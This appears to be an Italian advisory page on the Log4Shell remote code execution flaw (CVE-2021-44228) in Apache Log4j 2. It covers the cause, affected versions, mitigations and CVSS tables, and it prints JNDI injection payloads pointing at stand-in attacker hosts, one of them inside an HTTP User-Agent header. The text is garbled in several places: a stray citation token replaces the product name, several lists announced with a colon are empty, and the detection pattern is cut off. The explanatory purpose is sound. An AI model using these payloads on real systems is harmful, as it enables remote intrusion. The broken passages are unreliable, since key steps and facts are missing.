
CVE-2021-44228
Una vulnerabilità critica di esecuzione remota di codice in Apache Log4j 2, ampiamente conosciuta come Log4Shell.
CVE-2021-44228 è una vulnerabilità RCE critica in :contentReference[oaicite:0]{index=0} versione 2.x (prima della 2.15.0), scoperta a dicembre 2021.
Consente a aggressori remoti non autenticati di eseguire codice arbitrario su sistemi vulnerabili semplicemente inviando input appositamente predisposti che vengono registrati da Log4j. La falla riguarda innumerevoli applicazioni e servizi basati su Java a livello globale.
La vulnerabilità deriva dalla gestione da parte di Log4j delle ricerche JNDI nelle stringhe registrate. Un aggressore può incorporare una risorsa JNDI malevola in un messaggio registrato (ad es., LDAP, DNS), come:
${jndi:ldap://attacker.com/a}
Log4j farà:
Questo consente a un aggressore di ottenere la piena Esecuzione Remota di Codice (RCE) sui servizi interessati.
Poiché Log4j è utilizzato in innumerevoli librerie e applicazioni, qualsiasi sistema che registra dati non affidabili potrebbe essere vulnerabile.
Le seguenti versioni di Log4j 2 sono vulnerabili:
> = 2.0-beta9 and < 2.15.0
Inoltre, alcune configurazioni di 2.15.0 erano ancora sfruttabili, quindi la 2.16.0 e successive sono la base sicura.
Aggiornare alle versioni di Log4j 2:
2.17.1 o successive
Le patch successive migliorano ulteriormente la sicurezza (ad es., 2.17.2, 2.19.0, ecc.).
Se un aggiornamento immediato non è possibile, puoi:
log4j2.formatMsgNoLookups=true
JndiLookup dal classpath:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Questi passaggi aiutano a ridurre l'esposizione fino a quando non è possibile aggiornare.
Questa vulnerabilità è estremamente facile da sfruttare. Un aggressore deve solo inviare una stringa appositamente predisposta (ad es., tramite intestazioni HTTP, parametri di moduli, messaggi di chat, campi di database) che viene registrata dall'applicazione:
User-Agent: ${jndi:ldap://attacker.example/a}
Una volta registrata, l'applicazione eseguirà una ricerca remota e può essere costretta a eseguire codice Java controllato dall'aggressore.
Log4Shell ha avuto un impatto globale enorme:
Questa è una delle vulnerabilità più significative degli ultimi decenni.
Puoi rilevare sistemi vulnerabili:
${jndi:)Se la tua applicazione o qualsiasi libreria che utilizzi si basa su Log4j 2.x, aggiorna immediatamente a una versione corretta (≥ 2.17.1) e verifica che le ricerche JNDI siano disabilitate o rimosse ove possibile.
| Metrica | Dettaglio |
|---|
| Punteggio base CVSS v3.1 | 10.0 (Critico) |
| Vettore d'attacco | Rete |
| Privilegi richiesti | Nessuno |
| Interazione utente | Nessuna |
| Autenticazione | Non richiesta |
| Impatto | RCE completa |
| Campo | Valore |
|---|
| CVE ID | CVE-2021-44228 |
| Soprannome | Log4Shell |
| Prodotto | Apache Log4j 2 |
| Gravità | Critico (CVSS 10.0) |
| Tipo | Esecuzione Remota di Codice |
| Impatto | Compromissione totale del sistema |
| Sfruttabilità | Estremamente facile |
| Mitigazione | Patch a ≥ 2.17.1 |